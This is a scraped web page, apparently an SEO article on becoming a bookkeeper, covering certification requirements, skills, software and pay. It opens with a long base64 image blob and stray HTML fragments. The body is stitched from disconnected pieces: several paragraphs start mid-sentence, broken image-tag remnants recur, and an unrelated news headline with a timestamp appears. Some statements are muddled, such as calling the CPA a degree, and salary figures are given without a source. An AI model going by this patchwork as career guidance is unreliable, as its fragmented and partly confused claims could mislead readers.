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” width=”251px” alt=”how to become a bookkeeper”/>

    FlexJobs, also mentioned earlier, will cost a monthly subscription, but it’s an excellent service that can help you to find opportunities. Some of the opportunities are for remote workers who would be employees, but there are freelance opportunities available too.

    to become a Certified Bookkeeper by passing a certification exam. You must have at least two years of full-time work experience, or the equivalent in part-time or freelance bookkeeping work. Computer and math skills are also required since you’ll be computing numbers regularly with the help of bookkeeping software programs. Bookkeepers are hired by every single kind of business, non-profit and government agency. Many accountants, CPAs and tax preparers also work with bookkeepers to help support their clients.

    to;’ src=”https://www.bookstime.com/wp-content/uploads/2019/08/software-10.png” width=”256px” alt=”how to become a bookkeeper”/>

    For example, rather than entering data by hand, bookkeepers will focus on analyzing their clients’ books and pointing out potential areas for efficiency gains. They may work longer hours to meet deadlines at the end of the fiscal year, during tax time, or when monthly or yearly accounting audits are performed. With appropriate experience and additional education, some bookkeeping, accounting, and auditing clerks may become accountants or auditors. For certification, candidates must have at least 2 years of full-time bookkeeping experience or equivalent part-time work, pass a four-part exam, and adhere to a code of ethics. Bookkeeping, accounting, and auditing clerks typically need some postsecondary education to enter the occupation.

    to interact with vendors/suppliers and customers/clients — often when dealing with invoices and payments. Proficiency in at least one bookkeeping program, like Intuit’s QuickBooks or Xero. If you’re looking to organize your bookkeeper business, The Virtual Bookkeeper’s Roadmap will help you do that. One of Veronica’s strengths is having a ton of systems in place and templates to help you out. If you’re not ready to invest in a larger program, Bookkeeper Launch also has a free series of training you can check out. The bookkeeper certification process can be really confusing because there are so many different options to choose from, and you may have no idea what direction to go.

    However, passing an exam is not the only part of becoming certified. To receive full certification by either the AIPB or the NACPB, bookkeepers must provide evidence of work experience, sign a code of conduct, and meet requisite education levels. Bookkeepers need to train in financial records management and industry standardized software systems. The Accounting Technology program at Lamar Institute of Technology provides students with the instruction and the learning environment to meet the educational needs of a future Bookkeeper. Enrolling in the Accounting Technology program at Lamar Institute of Technology will prepare you for a successful career as a Bookkeeper. You will learn the skills needed to manage an organization’s financial records.

    As a bookkeeper, your attention to detail must be almost preternatural. Careless mistakes that seem inconsequential at the time can lead to bigger, costlier, more time-consuming problems down the road. Rarely does a bookkeeper work on one big project for an eight-hour shift; instead, a typical workday involves juggling five or six smaller jobs. An enrolled agent is a tax professional authorized by the United States government.

    Bookkeeping certificate programs last anywhere between a few weeks and a couple of months. A lot of programs are available online and can cost you anywhere between $500 and $3.000. You wouldn’t necessarily need a degree in order to become a bookkeeper; in most cases, a high school diploma would do. Of course, the salary of the bookkeeper would depend on the size of the company that he or she decides to work for.

    People that have earned their Bachelor’s Degree typically make $58,374 compared to $27,905 for those without that type of degree. Learn to use computer programs such as Microsoft Excel, Microsoft Access and Quickbooks.

    Some clients may fall away, but this will make way for new clients with deeper pockets. If you would like to know more about the best software to learn as a bookkeeper, be sure to check out Bookkeepers’ three-part series on how to become a bookkeeper. This is a great way to make contacts, learn essential software, and decide if bookkeeping is really for you. This step can be achieved before or even while you’re earning your degree.

    • Include applicable keywords for the bookkeeping position you are seeking, such as accounts receivable, accounts payable or payroll, as well as computer applications that you know how to use.
    • After recording the transactions, an accountant will generally review the bookkeeper’s work, analyze the data, and make adjustments before submitting the accounts.
    • Considering whether you will remain a solo bookkeeper or whether in the future you would add employees or contractors.
    • They might also use online courses, books or seminars to learn the basics of practical finance.
    • You must be determined to build a small business into a full-time income stream.

    Bookkeepers keep track of financial records for companies and organizations. To ensure updated and accurate financial statements, they must understand how to use spreadsheets and database software programs.

    to pass the exam for specialized expertise. This shows prospective employers you are not only an expert in your area but also are willing to go the extra mile to be a proficient bookkeeper. You can also use national certifications to promote yourself as a freelance bookkeeper and start your own business or company offering accounting services. While your first position won’t be in the highest salary range, it will be much more valuable because you’ll be gaining on the job experience. You can use this exposure to learn the ins and outs of a bookkeeper’s responsibilities and learn new programs and methods you may not have explored during your formal or informal education.

    It is important to note that all CPAs are accountants but not all accountants are CPAs. A CPA degree is a professional certification in the accounting field. Such a degree demonstrates you have obtained the requisite experience and education to be a certified accountant. However, a certified bookkeeper has the skills to manage the books of accounts of your clients effectively.

    Internal auditors examine a company’s books for inefficient practices and help come up with solutions that make the company more effective. Receptionist is a person employed to greet telephone callers, visitors, patients, or clients. Certified bookkeepers will have better chances of getting employed in the industry.

    Simply learn as much as you can about bookkeeping and start looking for clients. This is the cheapest option, but it’s also the most difficult because you won’t have anyone to guide you. With bookkeepers, there are a lot of minutiae involved, and keen attention to detail is paramount.

    Changing business: This is what the future accountant will look like – IOL

    Changing business: This is what the future accountant will look like.

    Posted: Tue, 15 Mar 2022 19:00:44 GMT [source]

    This one doesn’t come until a little later down the road, but it’s still part of the journey to becoming a fully-fledged bookkeeper. Whether you’re a beginner looking to define an industry term or an expert seeking strategic advice, there’s an article for everyone.

    Barbara Weltman

  • By |2022-03-16T12:55:23+02:00May 7th, 2020|Bookkeeping|0 Comments

    Leave A Comment